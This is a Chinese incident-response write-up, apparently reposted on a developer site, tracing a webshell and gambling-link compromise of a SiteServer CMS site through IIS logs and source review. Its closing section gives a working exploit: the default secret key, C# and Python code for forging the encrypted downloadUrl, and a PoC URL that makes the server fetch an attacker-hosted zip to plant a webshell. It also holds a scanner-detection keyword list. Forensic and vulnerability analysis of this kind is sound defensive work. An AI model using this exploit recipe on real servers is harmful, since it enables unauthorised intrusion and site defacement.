某次安全事件攻击链分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:一天管理员发现站点管理员提供基本信息如下:百度快照中依旧存在博彩相关快照,但是在服务器已经被维护人员清理已经无法访问。

事件背景

一天管理员发现站点 www.xxxx.xx.cn存在黑链跳转, 管理员立即对服务器中的黑链进行清理,并且镜像了服务器环境,我们登录镜像服务器进行对攻击路径排查分析。

管理员提供基本信息如下:

百度快照中依旧存在博彩相关快照,但是在服务器已经被维护人员清理已经无法访问。

某次安全事件攻击链分析

基本排查与信息获取

能否分析出攻击的真实攻击路径,取决于对服务器中恶意文件的查杀结果,因此先使用D盾对服务器中恶意文件进行查杀,最终的查杀结果如下:

某次安全事件攻击链分析

某次安全事件攻击链分析

我们将其按照文件修改时间排序,对服务器中的后门文件进行分析。

最早的后门文件为aspdm.txt,修改时间为2018年10月4日13:14:30,到文件夹中找到相关文件,可以发现同一个目录下存在aspdm.txt文件和另外一个include.aspx文件。include.aspx的修改时间同样为2018年10月4日13:14:30。

某次安全事件攻击链分析

查看文件内容可知,include.aspx利用文件包含功能,包含了一个aspdm.txt文件

某次安全事件攻击链分析

查看文件属性,发现文件的创建时间,修改时间一致,很明显,证明该文件是黑客新创建的,没有遭到改动。

某次安全事件攻击链分析

查看aspdm.txt文件,可以发现此文件为webshell后门,通过文件包含,将txt文件作为aspx文件执行。

某次安全事件攻击链分析

分析.html文件和1.html文件,可以发现这两个文件相同,都是ASPXSpy后门,时间均为2018年6月17日21点10分左右。

某次安全事件攻击链分析

某次安全事件攻击链分析

某次安全事件攻击链分析

时间点再往前,就是模板目录下的SiteServer.aspx文件,被D盾标记为已经后门,修改时间为2017年8月14日10:04:25。

某次安全事件攻击链分析

某次安全事件攻击链分析

查看SiteServer.aspx文件,可知该文件主要功能为,如果user-agent来自sougou、haosou、so、baidu,则将其劫持到博彩站点,并将博彩站点返回给用户。

某次安全事件攻击链分析

Virustotal查询博彩站点xin888.qilv.cc,黑客在9月12日将网站ip地址解析到58.82.251.37。

某次安全事件攻击链分析

微步中58.82.251.37情报的标记如下:

某次安全事件攻击链分析

某次安全事件攻击链分析

某次安全事件攻击链分析

查看web.config配置文件,发现同样被篡改,404错误,会跳转到Siteserver.aspx

某次安全事件攻击链分析

其他文件为D盾误判,这里不再进行分析,由于客户IIS日志不全,因此跟客户沟通,这里我们只对10月4日的发生的黑链事件做攻击路径做溯源。

攻击者ip定位与访问行为分析

筛选日志,排查访问过后门/SiteFiles/SiteTemplates/txt2/include.aspx的ip地址,发现如下IP地址访问过include.aspx文件。

cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep /SiteFiles/SiteTemplates/txt2/include.aspx |sort -u

某次安全事件攻击链分析

IP地址:

113.103.119.64

113.103.121.185

113.103.122.95

113.110.47.161

113.117.65.33

113.117.66.121

113.117.66.133

119.180.192.175

119.180.199.28

119.186.242.62

125.72.250.205

175.2.149.86

1.82.152.151

182.34.101.251

222.172.139.130

对这些ip地址整体操作行为进行分析,可以发现部分ip地址不停的访问后门文件进行POST操作。

某次安全事件攻击链分析

随机选取几个ip地址分析其访问行为,119.186.242.62和113.117.66.133为例,该ip访问过后门之后,直接进行了大量的POST后门操作,未发现其他行为。

某次安全事件攻击链分析

某次安全事件攻击链分析

119.186.242.62为例,该ip访问过后门之后,直接进行了大量的POST后门操作,也未发现其他明显的漏洞探测行为。

某次安全事件攻击链分析

筛选访问aspdm.txt文件的IP

cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep aspdm.txt |sort -u

发现剩下112.239.5.217和119.180.192.175两个ip地址访问过aspdm.txt文件。

某次安全事件攻击链分析

112.239.5.217 /SiteFiles/SiteTemplates/test/aspdm.txt

112.239.5.217 /SiteFiles/SiteTemplates/test/sitefiles/aspdm.txt

119.180.192.175 /SiteFiles/SiteTemplates/txt2/aspdm.txt

进一步分析访问过/SiteFiles/SiteTemplates/txt2/目录下aspdm.txt文件的IP,仅剩下ip地址119.180.192.175。由此可以推断,攻击者主要是通过ip地址119.180.192.175完成攻击完成获取服务器权限的过程。

root@kali2:~# cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep /SiteFiles/SiteTemplates/txt2/aspdm.txt |sort -u

某次安全事件攻击链分析

119.180.192.175 /SiteFiles/SiteTemplates/txt2/aspdm.txt

综上所述,我们可以推测,攻击者主要是通过112.239.5.217和119.180.192.175完成服务器入侵,通过其他的ip地址,进行后门操作,完成黑链的植入。

攻击过程析

漏洞扫描

根据攻击日志,分析异常请求,发现部分HEAD请求,探测页面是否存在。

某次安全事件攻击链分析

取案发前的日志进行分析,探测扫描器行为,未发现明显的扫描器特征。

grep -E -i “AppScan|CustomCookie|netsparker|sqlmap|Havij|PaDDDngolin|nessus|Openvas|whatWEB|w3af|DirBuster|WEBbench” u_ex1810.log.D06

某次安全事件攻击链分析

分析返回包为404的日志,发现大部分为网络爬虫造成。

某次安全事件攻击链分析

因此,基本可以推测,黑客并非通过漏扫的方式,发现网站漏洞,再去做进一步利用,可能原因如下:

一、之前黑客进行过漏洞扫描,但是由于日志确实,导致无法发现具体的扫描行为;

二、黑客通过自己掌握的网站漏洞,直接进行攻击,无需扫描这一步。

漏洞发现

分析112.239.5.217和119.180.192.175两个ip地址的访问时间可以发现112.239.5.217的操作时间集中在2018-10-04 04:52:56到2018-10-04 05:08:00这里需要注意的是由于IIS 记录日志的时差问题,日志中的访问时间需要加上8小时才是正确的北京时间。即112.239.5.217的实际操作时间集中在2018-10-04 12:52:56到2018-10-04 13:08:00。

119.180.192.175的操作时间集中在2018-10-04 05:07:53到2018-10-04 05:15:51即IP地址119.180.192.175真实的访问时间为2018-10-04 13:07:53到2018-10-04 13:15:51之间。

由此可见,2个IP地址的访问时间比较衔接,证明黑客是112.239.5.217进行入侵,接着更换IP地址为119.180.192.175再进行入侵,理清了时间节点,我们来分析漏洞的具体发现过程。

2018-10-04 04:52:56到2018-10-04 04:55:42为止,攻击者频繁访问

/signalr/send transport=serverSentEvents&clientProtocol=1.5&connectionToken=wMRGrRg3FSXc5jf5fcGNSZdB%2FVHxyXc2psgSgqsil3xyUdyOngO%2BY9XNSboSwcV69uomh01YarpTcd7MQw4rx2Dht7vfRFS0%2FbJVYZ%2F4grxTvSoVjUbVsAOn89FV24u9&connectionData=%5B%7B%22name%22%3A%22createhub%22%7D%5D

该链接的主要功能是生成新的页面,根据日志分析,攻击者并未在该请求上发现可利用的漏洞。

某次安全事件攻击链分析

2018-10-04 04:55:43攻击者访问ajaxOtherService.aspx,尝试去下载模板,并创建一个名为test的文件夹,此时攻击者发现网站存在越权下载模板的漏洞,并开始尝试对漏洞进行试探性利用。

GET /zlinfo/Ajax/ajaxOtherService.aspx type=SiteTemplateDownload&%20userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0bpXb04Yf5yp&directoryName=test

某次安全事件攻击链分析

漏洞利用

2018-10-04 04:56:01攻击者进行漏洞攻击尝试之后,连续2次访问后门/SiteFiles/SiteTemplates/test/sitefiles/include.aspx但是被重定向到错误页面error.aspx。

某次安全事件攻击链分析

/zlinfo/error.aspx ErrorMessage=%e6%96%87%e4%bb%b6%e2%80%9c/SiteFiles/SiteTemplates/test/sitefiles/include.aspx%e2%80%9d%e4%b8%8d%e5%ad%98%e5%9c%a8%e3%80%82解码后为:/zlinfo/error.aspx ErrorMessage=文件“/SiteFiles/SiteTemplates/test/sitefiles/include.aspx”不存在。

本次攻击过程中黑客漏洞利用失败。

2018-10-04 04:56:36黑客访问List_AddInfo.asp、List_Vistor.asp、List_Adduser.asp,服务器均返回200。

某次安全事件攻击链分析

本地测试发现此处同样未做权限控制,攻击者可以直接访问,攻击者可以借此获取部分敏感信息。

某次安全事件攻击链分析

某次安全事件攻击链分析

某次安全事件攻击链分析

接下来的攻击者反复进行ajaxOtherService.aspx越权漏洞去尝试去下载模板,但是均以失败告终。

某次安全事件攻击链分析

攻击者试图aspdm.txt后门失败,2018-10-04 05:08:00攻击者放弃使用该IP地址进行进一步入侵,切换攻击IP地址为119.180.192.175。

某次安全事件攻击链分析

2018-10-04 05:07:53攻击者切换IP地址为119.180.192.175之后,先访问了一次/SiteFiles/SiteTemplates/test/txt1/2.txt,但是访问失败,2.txt文件依旧不存在。

某次安全事件攻击链分析

利用成功

2018-10-04 05:08:39攻击者119.180.192.175再次通过ajaxOtherService.aspx模板下载功能下载后门,并创建一个txt1的文件夹用于存放后门。

某次安全事件攻击链分析

2018-10-04 05:12:12,黑客访问2.txt返回200,表明文件创建成功。

某次安全事件攻击链分析

最终2018-10-04 05:14:30 (注意,由于IIS日志和北京时间的时差为8小时此处真实的漏洞利用成功时间为2018-10-04 13:14:30) 攻击者119.180.192.175再次通过ajaxOtherService.aspx模板下载功能下载后门,并创建一个txt2的文件夹用于存放后门,日志如下:

2018-10-04 05:14:30 29.11.8.132 GET /zlinfo/Ajax/ajaxOtherService.aspx type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 80 – 119.180.192.175 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36 – 200 0 0 562

某次安全事件攻击链分析

2018-10-04 05:14:37攻击者访问aspdm.txt,服务器返回200,文件创建成功。日志如下:

2018-10-04 05:14:37 29.11.8.132 GET /SiteFiles/SiteTemplates/txt2/aspdm.txt – 80 – 119.180.192.175 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36 – 200 0 0 593

某次安全事件攻击链分析

查询ip地址119.180.192.175,已经被威胁情报标记为恶意。

某次安全事件攻击链分析

执行命令

某次安全事件攻击链分析

去服务器查看,发现果然之前删除的webshell又被植入,证明黑客确实利用该url下载模板,植入webshell。

某次安全事件攻击链分析

服务器downloadUrl的地址为ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0由于URL地址进行了加密,接下来我们通过 工具 来捕获恶意的URL地址。

文件下载

通过process monitor监控分析,我们查看到在访问 http://www.xxxx.xx.cn/zlinfo/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 后,网站会访问zp.iceclient.com访问并写入txt2.zip文件到服务器上。

某次安全事件攻击链分析

通过域名访问该网站,发现会被直接重定向到链接重置,说明攻击者对其做了限制,继续使用科来抓包工具进行抓包,发现该域名对应的IP为107.151.94.210,服务器访问恶意站点的路径为/mmmmm/sitefile5asp-1.zip

某次安全事件攻击链分析

某次安全事件攻击链分析

通过数据返回包信息,也证明了该文件确实是本次植入的include.aspx文件。

某次安全事件攻击链分析

植入后门

通过与服务器中的aspdm.txt和include.aspx文件的创建时间和修改时间2018年10月4日13:14:30对比,发现日志记录的时间与服务器中后门文件的生成时间是一致的,13:14:30攻击者完成攻击,同时后门文件生成,文件的生成时间同时也佐证了攻击者确实是通过ajaxOtherService.aspx的模板下载功能,将后门植入服务器。

某次安全事件攻击链分析

某次安全事件攻击链分析

植入黑链

黑客完成后门植入之后,连接webshell后门,进行大量POST操作,篡改网站,植入博彩链接。

某次安全事件攻击链分析

某次安全事件攻击链分析

漏洞原理

0X01 SiteServer远程文件下载导致getshell

通过日志审查,以及客户主机抓包复现得知siteserver之所以被上传shell,是通过远程下载模板文件导致的,通过源代码分析利用过程。

源码地址:https://github.com/siteserver/cms

漏洞位置:后台模板下载位置未对用户权限进行校验,且 ajaxOtherService中的downloadUrl参数可控,导致getshell。

构造与下面类似的链接即可获取webshell:

http://xxx.xxxxx.xxx/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2

某次安全事件攻击链分析

某次安全事件攻击链分析

0x02 漏洞分析:

可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模块,使用notepad++搜索到该功能模块如下。

发现在ajaxOtherService.cs文件中确实存在函数调用接口

SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix)

某次安全事件攻击链分析

其中downloadUrl就是远程文件的URL地址,directoryName是下载到本地之后命名的模板目录,userKeyPrefix是加密的密钥,继续审核此文件,整理出整个函数调用流程如下,首先在AjaxOtherService.cs文件中使用Page_Load函数负责加载整个页面,然后通过request[‘type’]获取到不同的操作类型,如果获取到的type为TypeSiteTemplateDownload ,就会执行其request参数值的相关功能,其中最重要的一步操作就是此时先调用了DecryptStringBySecretKey函数将downloadurl先进行了解密,之后调用SiteTemplateDownload函数进行模板下载并自解压。

某次安全事件攻击链分析

在AjaxOtherService类中通过常量中已经定义了TypeSiteTemplateDownload = “SiteTemplateDownload”;

某次安全事件攻击链分析

因此当type等于SiteTemplateDownload时就会调用SiteTemplateDownload函数,逻辑非常的清楚,接下来分析downloadurl到底是怎么解密的,这也是本次审计的重点,毕竟其他逻辑非常清楚了,通过调用TranslateUtils.DecryptStringBySecretKey函数进行解密,通常开发习惯就是类名与文件名基本保持一致,因此很容易找到该文件。

某次安全事件攻击链分析

通过分析源代码可知,这里将DecryptStringBySecretKey函数进行重载,在调用DecryptStringBySecretKey(string inputString)时候,实际上调用的是下面带secretKey的同名函数DecryptStringBySecretKey(string inputString, string secretKey),分析该函数其中secretKey是取自WebConfigUtils.SecretKey的值,通过审计WebConfigUtils.cs文件可知,该值是从配置文档web.config中取得对应字段值。

某次安全事件攻击链分析

SecretKey的值可以在web.config文件中找到。 某次安全事件攻击链分析

解密函数DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的参数值同样为WebConfigUtils.SecretKey的值,继续分析该函数,可以看到先进行了混淆字符,将字符“+=&?’/”替换成DES加密后的密文。

某次安全事件攻击链分析

这里使用 python 脚本去除混淆,恢复原DES密文。

某次安全事件攻击链分析

程序去除混淆之后调用DES模块并实例化encryptor对象调用DesDecrypt解密函数,在实例化对象时将inputString和secreKey传入。

某次安全事件攻击链分析

首先使用菜鸟教程http://www.runoob.com/调试核心加解密代码,传入参数_encryptKey和_inputString。

加密代码调试如下_inputString传入任意黑客构造的地址

http://127.0.0.1:99/txt2.zip,_encryptKey传入默认密钥vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5。

using System;

using System.IO;

using System.Security.Cryptography;

using System.Text;

namespace EncryptApplication

{

class Encrypt

{

static void Main(string[] args)

{

var _encryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;

var _decryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;

var _inputString = “http://127.0.0.1:99/txt2.zip”;

var _outString = “”;

var _noteMessage = “”;

byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };

try{

var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);

var des = new DESCryptoServiceProvider();

var inputByteArray = Encoding.UTF8.GetBytes(_inputString);

var ms = new MemoryStream();

var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);

cs.Write(inputByteArray, 0, inputByteArray.Length);

cs.FlushFinalBlock();

_outString = Convert.ToBase64String(ms.ToArray());

Console.WriteLine(“DesEncrypt:”);

Console.WriteLine(_outString);

}

catch (Exception error)

{

_noteMessage = error.Message;

}

}

}

}

某次安全事件攻击链分析

执行之后获取其加密downloadurl如下:

ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=

混淆py代码

# -*- coding: UTF-8 -*-

str_decry = “ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=”

str_decry = str_decry.replace(“+”, “0add0”).replace(“=”, “0equals0”).replace(“&”, “0and0”).replace(“?”, “0question0”).replace(“‘”, “0quote0”).replace(“/”, “0slash0”)

print str_decry

某次安全事件攻击链分析

混淆之后的downloadurl为:

ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0

解密的步骤与加密相反,首先将混淆后的下载地址去除混淆。

去混淆py代码

# -*- coding: UTF-8 -*-

decryptKey =’ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0′

decryptKey =decryptKey .replace(“0add0”, “+”).replace(“0equals0”, “=”).replace(“0and0”, “&”).replace(“0question0”, “?”).replace(“0quote0”, “‘”).replace(“0slash0”, “/”)

print decryptKey

去混淆后密文如下:

ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=

解密函数调试如下,传入_inputString和密钥。

using System;

using System.IO;

using System.Security.Cryptography;

using System.Text;

namespace DecryptApplication

{

class Decrypt

{

static void Main(string[] args)

{

var _encryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;

var _decryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;

var _inputString = “ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=”;

var _outString = “”;

var _noteMessage = “”;

byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };

try

{

var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8));

var des = new DESCryptoServiceProvider();

var inputByteArray = Convert.FromBase64String(_inputString);

var ms = new MemoryStream();

var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);

cs.Write(inputByteArray, 0, inputByteArray.Length);

cs.FlushFinalBlock();

Encoding encoding = new UTF8Encoding();

_outString = encoding.GetString(ms.ToArray());

Console.WriteLine(“DesDecrypt:”);

Console.WriteLine(_outString);

}

catch (Exception error)

{

_noteMessage = error.Message;

}

}

}

}

某次安全事件攻击链分析

其中secretKey其实用户可以修改,并不一定是唯一的,因此受到一定的限制,但是一旦获取到secretKey值就可以构造远程文件下载,获取webshell。

0x03 漏洞复现

下载siteserver5.0安装包,并安装。

下载地址:http://cms.siteserver.cn/download.html

假设downloadurl地址为(实际利用是黑客的公网IP地址):

http://192.168.231.134/txt2.zip

安装后的secretKey默认为:

vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5

某次安全事件攻击链分析

对恶意下载地址 http://192.168.231.134/txt2.zip 进行DES加密

加密后的downloadurl:ZjYIub/YxA0VVYDzNHVwtJBqP+pqvMBBTvHbMUpS0M8=

某次安全事件攻击链分析

混淆后传入参数中的downloadurl为:

ZjYIub0slash0YxA0VVYDzNHVwtJBqP0add0pqvMBBTvHbMUpS0M80equals0

某次安全事件攻击链分析

可以构造如下的POC实现远程文件下载,获取webshell

http://192.168.231.135:99/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA0VVYDzNHVwtJBqP0add0pqvMBBTvHbMUpS0M80equals0&directoryName=txt2

某次安全事件攻击链分析

某次安全事件攻击链分析

访问webshell地址http://192.168.231.135:99/SiteFiles/SiteTemplates/txt2/include.aspx,可以成功访问。

某次安全事件攻击链分析


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

设计心理学

设计心理学

Donald Norman / 梅琼 / 中信出版社 / 2003-10-1 / 23.00

设计心理学,ISBN:9787800739255,作者:(美)唐纳德·A.·诺曼(Donald A. Norman)著;梅琼译;梅琼译一起来看看 《设计心理学》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具